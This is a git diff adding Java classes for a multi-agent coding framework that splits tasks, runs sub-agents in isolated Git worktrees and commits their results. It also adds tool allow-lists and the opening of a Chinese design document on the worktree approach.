+++ b/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionRequest.java
@@ -0,0 +1,13 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.agentteam.domain.model.CodeSubTask;
+import com.openmanus.agentteam.domain.model.WorktreeSession;
+
+/**
+ * Application-layer request for one worktree-scoped coding execution.
+ */
+public record SubAgentCodingExecutionRequest(
+ CodeSubTask subTask,
+ WorktreeSession worktreeSession
+) {
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionService.java b/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionService.java
new file mode 100644
index 0000000..ab15a66
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/SubAgentCodingExecutionService.java
@@ -0,0 +1,288 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.agentteam.domain.model.CodeSubTask;
+import com.openmanus.agentteam.domain.model.GitWorkspaceSnapshot;
+import com.openmanus.agentteam.domain.model.SubAgentCodingResult;
+import com.openmanus.agentteam.domain.model.SubAgentCodingStatus;
+import com.openmanus.agentteam.domain.model.WorktreeSession;
+import com.openmanus.agentteam.domain.port.GitWorkspacePort;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.List;
+
+/**
+ * Executes one code-oriented subtask inside an isolated worktree context.
+ */
+@Slf4j
+public class SubAgentCodingExecutionService {
+
+ private final AgentTeamRoleExecutionPort roleExecutionPort;
+ private final GitWorkspacePort gitWorkspacePort;
+
+ public SubAgentCodingExecutionService(
+ AgentTeamRoleExecutionPort roleExecutionPort,
+ GitWorkspacePort gitWorkspacePort
+ ) {
+ this.roleExecutionPort = roleExecutionPort;
+ this.gitWorkspacePort = gitWorkspacePort;
+ }
+
+ public SubAgentCodingResult execute(SubAgentCodingExecutionRequest request) {
+ if (request == null) {
+ throw new IllegalArgumentException("request must not be null");
+ }
+ CodeSubTask subTask = request.subTask();
+ WorktreeSession worktreeSession = request.worktreeSession();
+ validate(subTask, worktreeSession);
+ Path worktreePath = Path.of(worktreeSession.worktreePath());
+ ensureWorktreeDirectoryExists(worktreePath);
+
+ String prompt = buildPrompt(subTask, worktreeSession);
+ try {
+ GitWorkspaceSnapshot initialSnapshot = gitWorkspacePort.inspectWorkspace(worktreePath);
+ log.info(
+ "SubAgentCodingExecution dispatching worktree-scoped task: taskId={}, branch={}, worktreePath={}, clean={}, headCommit={}, verificationCommands={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ initialSnapshot.clean(),
+ initialSnapshot.headCommit(),
+ subTask.verificationCommands()
+ );
+ AgentTeamExecutionContext context = AgentTeamExecutionContext.codingSubAgent(
+ worktreeSession.sessionId(),
+ worktreeSession.worktreePath()
+ );
+ String rawOutput = roleExecutionPort.executeSync(context, prompt);
+ GitWorkspaceSnapshot workspaceSnapshot = gitWorkspacePort.inspectWorkspace(worktreePath);
+ log.info(
+ "SubAgentCodingExecution workspace after agent run: taskId={}, branch={}, worktreePath={}, clean={}, changedFiles={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ workspaceSnapshot.clean(),
+ workspaceSnapshot.changedFiles()
+ );
+ if (didNotProduceWorkspaceChanges(initialSnapshot, workspaceSnapshot)) {
+ String noChangeMessage = "Sub-agent produced no code changes in its worktree";
+ log.warn(
+ "SubAgentCodingExecution completed without code changes: taskId={}, branch={}, worktreePath={}, initialHeadCommit={}, finalHeadCommit={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ initialSnapshot.headCommit(),
+ workspaceSnapshot.headCommit()
+ );
+ return new SubAgentCodingResult(
+ subTask.taskId(),
+ SubAgentCodingStatus.FAILED,
+ noChangeMessage,
+ List.of(),
+ worktreeSession.branchName(),
+ null,
+ worktreeSession.worktreePath(),
+ null,
+ verificationHint(subTask),
+ rawOutput,
+ noChangeMessage
+ );
+ }
+ String commitSha = workspaceSnapshot.clean()
+ ? workspaceSnapshot.headCommit()
+ : gitWorkspacePort.commitAllChanges(worktreePath, commitMessage(subTask, worktreeSession));
+ GitWorkspaceSnapshot committedSnapshot = gitWorkspacePort.inspectWorkspace(worktreePath);
+ List changedFiles = committedSnapshot.changedFiles().isEmpty()
+ ? workspaceSnapshot.changedFiles()
+ : committedSnapshot.changedFiles();
+ log.info(
+ "SubAgentCodingExecution finished worktree task: taskId={}, branch={}, worktreePath={}, changedFiles={}, commitSha={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ changedFiles,
+ commitSha
+ );
+ return new SubAgentCodingResult(
+ subTask.taskId(),
+ SubAgentCodingStatus.SUCCEEDED,
+ summarize(rawOutput),
+ changedFiles,
+ worktreeSession.branchName(),
+ commitSha,
+ worktreeSession.worktreePath(),
+ null,
+ verificationHint(subTask),
+ rawOutput,
+ null
+ );
+ } catch (RuntimeException exception) {
+ log.warn(
+ "SubAgentCodingExecution failed: taskId={}, branch={}, worktreePath={}, errorType={}, error={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ exception.getClass().getSimpleName(),
+ exception.getMessage()
+ );
+ log.warn(
+ "SubAgentCodingExecution failure summary: taskId={}, branch={}, worktreePath={}, verificationCommands={}",
+ subTask.taskId(),
+ worktreeSession.branchName(),
+ worktreeSession.worktreePath(),
+ subTask.verificationCommands()
+ );
+ return new SubAgentCodingResult(
+ subTask.taskId(),
+ SubAgentCodingStatus.FAILED,
+ "Sub-agent coding execution failed",
+ List.of(),
+ worktreeSession.branchName(),
+ null,
+ worktreeSession.worktreePath(),
+ null,
+ verificationHint(subTask),
+ "",
+ exception.getMessage()
+ );
+ }
+ }
+
+ private void validate(CodeSubTask subTask, WorktreeSession worktreeSession) {
+ if (subTask == null) {
+ throw new IllegalArgumentException("subTask must not be null");
+ }
+ if (worktreeSession == null) {
+ throw new IllegalArgumentException("worktreeSession must not be null");
+ }
+ validateText(subTask.taskId(), "subTask.taskId");
+ validateText(subTask.goal(), "subTask.goal");
+ validateText(worktreeSession.sessionId(), "worktreeSession.sessionId");
+ validateText(worktreeSession.branchName(), "worktreeSession.branchName");
+ validateText(worktreeSession.worktreePath(), "worktreeSession.worktreePath");
+ }
+
+ private void ensureWorktreeDirectoryExists(Path worktreePath) {
+ if (!Files.isDirectory(worktreePath)) {
+ throw new IllegalStateException("worktree path does not exist or is not a directory: " + worktreePath);
+ }
+ }
+
+ private void validateText(String value, String fieldName) {
+ if (value == null || value.isBlank()) {
+ throw new IllegalArgumentException(fieldName + " must not be blank");
+ }
+ }
+
+ private String buildPrompt(CodeSubTask subTask, WorktreeSession worktreeSession) {
+ return """
+ You are executing one isolated coding subtask inside an agent team.
+
+ Task ID: %s
+ Title: %s
+ Goal: %s
+ Branch: %s
+ Base Ref: %s
+ Worktree Path: %s
+
+ Owned Paths:
+ %s
+
+ Forbidden Paths:
+ %s
+
+ Verification Commands:
+ %s
+
+ Dependency Hints:
+ %s
+
+ Conflict Risk: %s
+
+ Execution Rules:
+ 1. Work only inside the current subtask boundary.
+ 2. Treat the worktree path above as your primary code workspace — you are running on the HOST filesystem directly.
+ 3. Use runShellCommand with explicit cwd=worktreePath for all file operations, discovery, and verification.
+ 4. All file changes in this worktree are automatically staged and committed by the orchestrator after you finish.
+ 5. Do not run git commands yourself — the infrastructure handles git commit/push.
+ 6. Focus on writing/editing files and running verification commands (compile, test, lint).
+ 7. Do not re-decompose the task.
+ 8. Do not delegate to another agent.
+ 9. Return a concise engineering summary, including files touched and verification outcome if available.
+ """
+ .formatted(
+ subTask.taskId(),
+ safe(subTask.title()),
+ subTask.goal().trim(),
+ worktreeSession.branchName().trim(),
+ safe(worktreeSession.baseRef()),
+ worktreeSession.worktreePath().trim(),
+ renderList(subTask.ownedPaths(), "- no explicit owned paths"),
+ renderList(subTask.forbiddenPaths(), "- no explicit forbidden paths"),
+ renderList(subTask.verificationCommands(), "- no verification commands specified"),
+ renderList(subTask.dependsOn(), "- no explicit dependencies"),
+ safe(subTask.conflictRisk())
+ );
+ }
+
+ private String summarize(String rawOutput) {
+ if (rawOutput == null || rawOutput.isBlank()) {
+ return "Sub-agent completed but returned no usable content";
+ }
+ String compact = rawOutput.trim();
+ return compact.length() > 120 ? compact.substring(0, 120) : compact;
+ }
+
+ private String verificationHint(CodeSubTask subTask) {
+ if (subTask.verificationCommands().isEmpty()) {
+ return "No verification commands were provided";
+ }
+ return "Planned verification commands: " + String.join(" | ", subTask.verificationCommands());
+ }
+
+ private String commitMessage(CodeSubTask subTask, WorktreeSession worktreeSession) {
+ return "agentteam: complete " + subTask.taskId() + " on " + worktreeSession.branchName();
+ }
+
+ private boolean didNotProduceWorkspaceChanges(
+ GitWorkspaceSnapshot initialSnapshot,
+ GitWorkspaceSnapshot workspaceSnapshot
+ ) {
+ if (!workspaceSnapshot.clean()) {
+ return false;
+ }
+ if (!workspaceSnapshot.changedFiles().isEmpty()) {
+ return false;
+ }
+ return sameText(initialSnapshot.headCommit(), workspaceSnapshot.headCommit());
+ }
+
+ private String renderList(List values, String fallback) {
+ if (values == null || values.isEmpty()) {
+ return fallback;
+ }
+ StringBuilder builder = new StringBuilder();
+ for (String value : values) {
+ if (value == null || value.isBlank()) {
+ continue;
+ }
+ if (!builder.isEmpty()) {
+ builder.append('\n');
+ }
+ builder.append("- ").append(value.trim());
+ }
+ return builder.isEmpty() ? fallback : builder.toString();
+ }
+
+ private String safe(String value) {
+ return value == null ? "" : value.trim();
+ }
+
+ private boolean sameText(String left, String right) {
+ if (left == null || right == null) {
+ return left == null && right == null;
+ }
+ return left.equals(right);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/SubAgentExecutionService.java b/src/main/java/com/openmanus/agentteam/application/SubAgentExecutionService.java
new file mode 100644
index 0000000..df8c2ec
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/SubAgentExecutionService.java
@@ -0,0 +1,83 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import lombok.extern.slf4j.Slf4j;
+
+import java.util.Map;
+
+/**
+ * Executes one subtask through the role-scoped sub-agent runtime.
+ *
+ * This service remains a thin application-layer bridge and deliberately does not own
+ * task scheduling or result aggregation decisions.
+ */
+@Slf4j
+public class SubAgentExecutionService {
+
+ private final AgentTeamRoleExecutionPort roleExecutionPort;
+ private final AgentTeamPromptProvider promptProvider;
+
+ public SubAgentExecutionService(
+ AgentTeamRoleExecutionPort roleExecutionPort,
+ AgentTeamPromptProvider promptProvider
+ ) {
+ this.roleExecutionPort = roleExecutionPort;
+ this.promptProvider = promptProvider;
+ }
+
+ public SubTaskExecutionOutput execute(SubTask subTask, String agentId) {
+ String prompt = buildSubTaskPrompt(subTask, agentId);
+ AgentTeamExecutionContext context = AgentTeamExecutionContext.subAgent(
+ subTask.getParentSessionId(),
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ agentId
+ );
+ log.info(
+ "SubAgentExecution dispatching to role-scoped runtime: agentId={}, groupId={}, taskId={}, title={}, memoryId={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ context.memoryId()
+ );
+ String result = roleExecutionPort.executeSync(context, prompt);
+ String summary = summarize(result);
+ log.info(
+ "SubAgentExecution finished runtime call: agentId={}, groupId={}, taskId={}, title={}, memoryId={}, summary={}",
+ agentId,
+ subTask.getGroupId(),
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ context.memoryId(),
+ summary
+ );
+ return new SubTaskExecutionOutput(summary, result);
+ }
+
+ private String buildSubTaskPrompt(SubTask subTask, String agentId) {
+ return PromptTemplateRenderer.render(
+ promptProvider.subAgentExecutionPromptTemplate(),
+ Map.of(
+ "agentId", safe(agentId),
+ "taskId", safe(subTask.getTaskId()),
+ "groupId", safe(subTask.getGroupId()),
+ "taskTitle", safe(subTask.getTitle()),
+ "taskDescription", safe(subTask.getDescription()),
+ "contextSummary", safe(subTask.getContextSummary())
+ )
+ );
+ }
+
+ private String summarize(String result) {
+ if (result == null || result.isBlank()) {
+ return "Subtask finished but returned no usable content";
+ }
+ String compact = result.trim();
+ return compact.length() > 80 ? compact.substring(0, 80) : compact;
+ }
+
+ private String safe(String value) {
+ return value == null ? "" : value;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/SubAgentToolPolicy.java b/src/main/java/com/openmanus/agentteam/application/SubAgentToolPolicy.java
new file mode 100644
index 0000000..4f2f8b6
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/SubAgentToolPolicy.java
@@ -0,0 +1,38 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.aiframework.tool.AiRegisteredTool;
+
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * First-version tool policy for sub-agents.
+ */
+public class SubAgentToolPolicy implements AgentTeamToolPolicy {
+
+ static final Set ALLOWED_TOOL_NAMES = Set.of(
+ "browser_open_url",
+ "browser_ensure_sandbox",
+ "executePython",
+ "executePythonFile",
+ "search_web",
+ "browser_fetch_web",
+ "runShellCommand",
+ "recordTask",
+ "reflectOnTask",
+ "getTaskHistory"
+ );
+
+ @Override
+ public List selectTools(List defaultTools) {
+ if (defaultTools == null || defaultTools.isEmpty()) {
+ return List.of();
+ }
+ Set deduplicatedNames = new LinkedHashSet<>();
+ return defaultTools.stream()
+ .filter(tool -> tool != null && ALLOWED_TOOL_NAMES.contains(tool.name()))
+ .filter(tool -> deduplicatedNames.add(tool.name()))
+ .toList();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/SubTaskExecutionOutput.java b/src/main/java/com/openmanus/agentteam/application/SubTaskExecutionOutput.java
new file mode 100644
index 0000000..2f4511e
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/SubTaskExecutionOutput.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.application;
+
+/**
+ * Output returned after one subtask is executed by a subagent.
+ */
+public record SubTaskExecutionOutput(String summary, String detail) {
+
+ public SubTaskExecutionOutput {
+ summary = summary == null ? "" : summary.trim();
+ detail = detail == null ? "" : detail.trim();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/TaskDecompositionService.java b/src/main/java/com/openmanus/agentteam/application/TaskDecompositionService.java
new file mode 100644
index 0000000..92656d3
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/TaskDecompositionService.java
@@ -0,0 +1,361 @@
+package com.openmanus.agentteam.application;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ArrayNode;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import com.openmanus.agentteam.domain.model.DecompositionPlan;
+import com.openmanus.agentteam.domain.model.SubTaskPlan;
+import com.openmanus.aiframework.runtime.AiChatModel;
+import com.openmanus.aiframework.runtime.model.AiChatMessage;
+import com.openmanus.aiframework.runtime.model.AiChatResponse;
+import com.openmanus.aiframework.runtime.model.AiChatRequest;
+import com.openmanus.aiframework.runtime.model.AiToolCall;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.util.ArrayList;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * First-version decomposition service.
+ *
+ * V1 now prefers LLM-based structured decomposition and keeps a conservative
+ * rule-based fallback for robustness.
+ */
+public class TaskDecompositionService {
+
+ private static final Logger log = LoggerFactory.getLogger(TaskDecompositionService.class);
+ private static final String STRUCTURED_OUTPUT_TOOL_NAME = "structured_output";
+ private static final double DECOMPOSITION_TEMPERATURE = 0.1D;
+ private static final int DECOMPOSITION_MAX_OUTPUT_TOKENS = 1200;
+ private static final int DECOMPOSITION_TIMEOUT_SECONDS = 30;
+
+ private static final Pattern BULLET_PATTERN = Pattern.compile(
+ "^(?:[-*]|\\d+[.)]|[a-zA-Z][.)]|[一二三四五六七八九十]+[、.])\\s*(.+)$"
+ );
+
+ private static final List DEPENDENCY_HINTS = List.of(
+ "然后", "之后", "完成后", "基于前", "依赖", "先", "after", "then", "based on", "depends on"
+ );
+
+ private final AiChatModel aiChatModel;
+ private final ObjectMapper objectMapper;
+ private final AgentTeamPromptProvider promptProvider;
+
+ public TaskDecompositionService(
+ AiChatModel aiChatModel,
+ ObjectMapper objectMapper,
+ AgentTeamPromptProvider promptProvider
+ ) {
+ this.aiChatModel = aiChatModel;
+ this.objectMapper = objectMapper;
+ this.promptProvider = promptProvider;
+ }
+
+ public DecompositionPlan decompose(String userInput, int maxSubTasks) {
+ if (userInput == null || userInput.isBlank()) {
+ return new DecompositionPlan(false, "Task is empty and cannot be decomposed", List.of());
+ }
+
+ DecompositionPlan llmPlan = tryLlmDecompose(userInput, maxSubTasks);
+ if (llmPlan != null) {
+ return enrichContextSummary(llmPlan, userInput);
+ }
+
+ return enrichContextSummary(ruleBasedDecompose(userInput, maxSubTasks), userInput);
+ }
+
+ private DecompositionPlan tryLlmDecompose(String userInput, int maxSubTasks) {
+ try {
+ String prompt = PromptTemplateRenderer.render(
+ promptProvider.taskDecompositionPromptTemplate(),
+ Map.of(
+ "userInput", userInput,
+ "maxSubTasks", String.valueOf(Math.max(2, maxSubTasks))
+ )
+ );
+ AiChatRequest request = new AiChatRequest(
+ "",
+ List.of(AiChatMessage.user(prompt)),
+ List.of(),
+ DECOMPOSITION_TEMPERATURE,
+ DECOMPOSITION_MAX_OUTPUT_TOKENS,
+ DECOMPOSITION_TIMEOUT_SECONDS,
+ buildResponseFormat(maxSubTasks)
+ );
+ AiChatResponse response = aiChatModel.chat(request);
+ String payload = extractStructuredPayload(response);
+ if (payload == null || payload.isBlank()) {
+ log.warn("LLM decomposition returned empty payload, falling back to rule-based decomposition");
+ return null;
+ }
+
+ JsonNode root = objectMapper.readTree(payload);
+ return validateLlmPlan(toPlan(root, maxSubTasks), maxSubTasks);
+ } catch (Exception exception) {
+ log.warn("LLM decomposition failed, falling back to rule-based decomposition: {}", exception.getMessage());
+ return null;
+ }
+ }
+
+ private DecompositionPlan validateLlmPlan(DecompositionPlan plan, int maxSubTasks) {
+ List candidates = normalizeSubTasks(plan.subTasks(), maxSubTasks);
+ String reason = normalizeReason(plan.reason(), plan.parallelizable()
+ ? "LLM identified independent parallel subtasks"
+ : "LLM judged the request unsafe to parallelize");
+
+ if (!plan.parallelizable()) {
+ return new DecompositionPlan(false, reason, candidates);
+ }
+ if (candidates.size() < 2) {
+ return new DecompositionPlan(false, "LLM returned fewer than two valid subtasks", candidates);
+ }
+ if (containsDependencyHints(candidates)) {
+ return new DecompositionPlan(false, "LLM subtasks contain obvious dependency hints", candidates);
+ }
+ return new DecompositionPlan(true, reason, candidates);
+ }
+
+ private DecompositionPlan toPlan(JsonNode root, int maxSubTasks) {
+ if (root == null || !root.isObject()) {
+ return new DecompositionPlan(false, "LLM output is not a JSON object", List.of());
+ }
+ boolean parallelizable = root.path("parallelizable").asBoolean(false);
+ String reason = normalizeReason(root.path("reason").asText(null), "");
+ List subTasks = parseSubTasks(root.path("subTasks"), maxSubTasks);
+ return new DecompositionPlan(parallelizable, reason, subTasks);
+ }
+
+ private List parseSubTasks(JsonNode node, int maxSubTasks) {
+ if (!(node instanceof ArrayNode arrayNode)) {
+ return List.of();
+ }
+ List results = new ArrayList<>();
+ int limit = Math.max(2, maxSubTasks);
+ for (JsonNode item : arrayNode) {
+ if (!item.isObject()) {
+ continue;
+ }
+ String description = normalizeReason(item.path("description").asText(null), "");
+ if (description.isBlank()) {
+ continue;
+ }
+ String title = normalizeReason(item.path("title").asText(null), "");
+ if (title.isBlank()) {
+ title = buildTitle(results.size() + 1, description);
+ }
+ String contextSummary = normalizeReason(item.path("contextSummary").asText(null), "");
+ results.add(new SubTaskPlan(title, description, contextSummary));
+ if (results.size() >= limit) {
+ break;
+ }
+ }
+ return results;
+ }
+
+ private String extractStructuredPayload(AiChatResponse response) {
+ if (response == null || response.message() == null) {
+ return null;
+ }
+ for (AiToolCall toolCall : response.message().toolCalls()) {
+ if (toolCall == null || toolCall.name() == null || toolCall.name().isBlank()) {
+ continue;
+ }
+ if (STRUCTURED_OUTPUT_TOOL_NAME.equals(toolCall.name()) || response.message().content().isBlank()) {
+ return toolCall.arguments();
+ }
+ }
+ return unwrapCodeFence(response.message().content());
+ }
+
+ private String unwrapCodeFence(String value) {
+ if (value == null) {
+ return null;
+ }
+ String trimmed = value.trim();
+ if (!trimmed.startsWith("```")) {
+ return trimmed;
+ }
+ int firstLineBreak = trimmed.indexOf('\n');
+ if (firstLineBreak < 0) {
+ return trimmed;
+ }
+ int lastFence = trimmed.lastIndexOf("```");
+ if (lastFence <= firstLineBreak) {
+ return trimmed.substring(firstLineBreak + 1).trim();
+ }
+ return trimmed.substring(firstLineBreak + 1, lastFence).trim();
+ }
+
+ private JsonNode buildResponseFormat(int maxSubTasks) {
+ ObjectNode responseFormat = objectMapper.createObjectNode();
+ responseFormat.put("type", "json_schema");
+
+ ObjectNode jsonSchema = responseFormat.putObject("jsonSchema");
+ jsonSchema.put("name", "task_decomposition_plan");
+
+ ObjectNode schema = jsonSchema.putObject("schema");
+ schema.put("type", "object");
+ schema.put("additionalProperties", false);
+
+ ObjectNode properties = schema.putObject("properties");
+ properties.putObject("parallelizable").put("type", "boolean");
+ properties.putObject("reason").put("type", "string");
+
+ ObjectNode subTasks = properties.putObject("subTasks");
+ subTasks.put("type", "array");
+ subTasks.put("maxItems", Math.max(2, maxSubTasks));
+
+ ObjectNode itemSchema = subTasks.putObject("items");
+ itemSchema.put("type", "object");
+ itemSchema.put("additionalProperties", false);
+
+ ObjectNode itemProperties = itemSchema.putObject("properties");
+ itemProperties.putObject("title").put("type", "string");
+ itemProperties.putObject("description").put("type", "string");
+ itemProperties.putObject("contextSummary").put("type", "string");
+
+ ArrayNode itemRequired = itemSchema.putArray("required");
+ itemRequired.add("title");
+ itemRequired.add("description");
+
+ ArrayNode rootRequired = schema.putArray("required");
+ rootRequired.add("parallelizable");
+ rootRequired.add("reason");
+ rootRequired.add("subTasks");
+ return responseFormat;
+ }
+
+ private DecompositionPlan ruleBasedDecompose(String userInput, int maxSubTasks) {
+ List candidates = extractCandidates(userInput, maxSubTasks);
+ if (candidates.size() < 2) {
+ return new DecompositionPlan(false, "Rule fallback found fewer than two parallel subtasks", candidates);
+ }
+ if (containsDependencyHints(candidates)) {
+ return new DecompositionPlan(false, "Rule fallback detected obvious dependency between subtasks", candidates);
+ }
+ return new DecompositionPlan(true, "Rule fallback recognized explicit independent subtasks", candidates);
+ }
+
+ private List extractCandidates(String userInput, int maxSubTasks) {
+ String[] lines = userInput.split("\\R");
+ Set normalizedDescriptions = new LinkedHashSet<>();
+ List results = new ArrayList<>();
+ int limit = Math.max(2, maxSubTasks);
+
+ for (String line : lines) {
+ String candidate = extractBulletContent(line);
+ if (candidate == null || candidate.isBlank()) {
+ continue;
+ }
+ String normalized = candidate.trim();
+ if (!normalizedDescriptions.add(normalized)) {
+ continue;
+ }
+ results.add(new SubTaskPlan(buildTitle(results.size() + 1, normalized), normalized, ""));
+ if (results.size() >= limit) {
+ break;
+ }
+ }
+ return results;
+ }
+
+ private List normalizeSubTasks(List subTasks, int maxSubTasks) {
+ if (subTasks == null || subTasks.isEmpty()) {
+ return List.of();
+ }
+ Set normalizedDescriptions = new LinkedHashSet<>();
+ List results = new ArrayList<>();
+ int limit = Math.max(2, maxSubTasks);
+
+ for (SubTaskPlan subTask : subTasks) {
+ if (subTask == null) {
+ continue;
+ }
+ String description = normalizeReason(subTask.description(), "");
+ if (description.isBlank()) {
+ continue;
+ }
+ if (!normalizedDescriptions.add(description)) {
+ continue;
+ }
+ String title = normalizeReason(subTask.title(), "");
+ if (title.isBlank()) {
+ title = buildTitle(results.size() + 1, description);
+ }
+ results.add(new SubTaskPlan(title, description, normalizeReason(subTask.contextSummary(), "")));
+ if (results.size() >= limit) {
+ break;
+ }
+ }
+ return results;
+ }
+
+ private String extractBulletContent(String rawLine) {
+ if (rawLine == null) {
+ return null;
+ }
+ String line = rawLine.trim();
+ Matcher matcher = BULLET_PATTERN.matcher(line);
+ if (!matcher.matches()) {
+ return null;
+ }
+ return matcher.group(1);
+ }
+
+ private boolean containsDependencyHints(List subTasks) {
+ for (SubTaskPlan subTask : subTasks) {
+ String lower = subTask.description().toLowerCase();
+ for (String hint : DEPENDENCY_HINTS) {
+ if (lower.contains(hint.toLowerCase())) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ private String buildTitle(int index, String description) {
+ String compact = description.length() > 24 ? description.substring(0, 24) : description;
+ return "SubTask-" + index + ": " + compact;
+ }
+
+ private DecompositionPlan enrichContextSummary(DecompositionPlan plan, String userInput) {
+ if (plan == null) {
+ return null;
+ }
+ List enriched = new ArrayList<>();
+ for (SubTaskPlan subTask : plan.subTasks()) {
+ if (subTask == null) {
+ continue;
+ }
+ String contextSummary = normalizeReason(subTask.contextSummary(), fallbackContextSummary(userInput));
+ enriched.add(new SubTaskPlan(subTask.title(), subTask.description(), contextSummary));
+ }
+ return new DecompositionPlan(plan.parallelizable(), plan.reason(), enriched);
+ }
+
+ private String fallbackContextSummary(String userInput) {
+ String request = normalizeReason(userInput, "");
+ return """
+ Parent request:
+ %s
+
+ Team instruction:
+ Complete only this assigned subtask. Return concise evidence and result for Team Master aggregation.
+ """.formatted(request).trim();
+ }
+
+ private String normalizeReason(String reason, String fallback) {
+ if (reason == null || reason.isBlank()) {
+ return fallback;
+ }
+ return reason.trim();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/TaskOwnershipViolationException.java b/src/main/java/com/openmanus/agentteam/application/TaskOwnershipViolationException.java
new file mode 100644
index 0000000..bb82831
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/TaskOwnershipViolationException.java
@@ -0,0 +1,13 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.domain.model.ExecutionErrorCodes;
+
+/**
+ * Raised when a task writeback is attempted by a non-owner agent.
+ */
+public class TaskOwnershipViolationException extends AgentTeamException {
+
+ public TaskOwnershipViolationException(String message) {
+ super(ExecutionErrorCodes.AGENTTEAM_TASK_OWNERSHIP_VIOLATION, message);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/application/TeamMasterToolPolicy.java b/src/main/java/com/openmanus/agentteam/application/TeamMasterToolPolicy.java
new file mode 100644
index 0000000..cbb7ef1
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/application/TeamMasterToolPolicy.java
@@ -0,0 +1,31 @@
+package com.openmanus.agentteam.application;
+
+import com.openmanus.aiframework.tool.AiRegisteredTool;
+
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * First-version tool policy for the team master role.
+ */
+public class TeamMasterToolPolicy implements AgentTeamToolPolicy {
+
+ static final Set ALLOWED_TOOL_NAMES = Set.of(
+ "search_web",
+ "browser_fetch_web",
+ "runShellCommand"
+ );
+
+ @Override
+ public List selectTools(List defaultTools) {
+ if (defaultTools == null || defaultTools.isEmpty()) {
+ return List.of();
+ }
+ Set deduplicatedNames = new LinkedHashSet<>();
+ return defaultTools.stream()
+ .filter(tool -> tool != null && ALLOWED_TOOL_NAMES.contains(tool.name()))
+ .filter(tool -> deduplicatedNames.add(tool.name()))
+ .toList();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/docs/AGENT_TEAM_GIT_WORKTREE_PLAN.md b/src/main/java/com/openmanus/agentteam/docs/AGENT_TEAM_GIT_WORKTREE_PLAN.md
new file mode 100644
index 0000000..0df3773
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/docs/AGENT_TEAM_GIT_WORKTREE_PLAN.md
@@ -0,0 +1,623 @@
+# AgentTeam 基于 Git Worktree 的多 Agent 并行编码开发方案
+
+本文档用于收敛 `agentteam` 下一阶段能力建设:参考 Claude Code 的隔离式并行协作思路,为 OpenManus-Java 增加“多 Agent 并行写代码”能力。
+
+当前方案遵守仓库总纲:
+
+- 小步推进,逐步完成。
+- 优先最小可运行链路,不一次性做完整平台。
+- 不破坏当前默认单 Agent 主链路。
+- Domain、Agent、Infra、aiframework 职责清晰。
+
+---
+
+## 1. 背景
+
+当前仓库内的 `agentteam` 已具备第一版协作能力:
+
+- 主 Agent 可拆分任务。
+- 可创建子任务并由多个 worker 执行。
+- 可汇总子任务结果并返回最终文本结果。
+
+但当前实现仍然更接近“单进程内任务并发执行”,还不是“多 Agent 并行写代码”:
+
+1. 子 Agent 没有真正的代码工作区隔离。
+2. 子 Agent 没有独立的 Git 分支与提交产物。
+3. 主 Agent 汇总的是文本结果,不是工程交付物。
+4. 没有多分支集成、冲突检测、集成验证这一层能力。
+
+如果目标是“参考 Claude Code 的做法”,那么第一原则应从“共享工作区并发执行”转为“独立 worktree 隔离执行”。
+
+---
+
+## 2. 目标
+
+本阶段目标不是做完整多 Agent 平台,而是补齐最小多 Agent 并行编码闭环:
+
+1. 主 Agent 接收一个编码任务。
+2. 判断任务是否适合拆分为多个可独立执行的代码子任务。
+3. 为每个子任务创建独立 Git worktree 和独立分支。
+4. 子 Agent 只在自己的 worktree 中读取、修改、测试代码。
+5. 子 Agent 结束后产出结构化结果:
+ - 修改摘要
+ - 变更文件列表
+ - 测试结果
+ - 分支名
+ - commit sha
+ - worktree 路径
+6. 主 Agent 汇总多个子 Agent 结果。
+7. 在可控前提下执行本地集成合并与统一验证。
+
+---
+
+## 3. 非目标
+
+本阶段明确不做以下内容:
+
+1. 不做 GitHub OAuth、账号绑定、仓库创建。
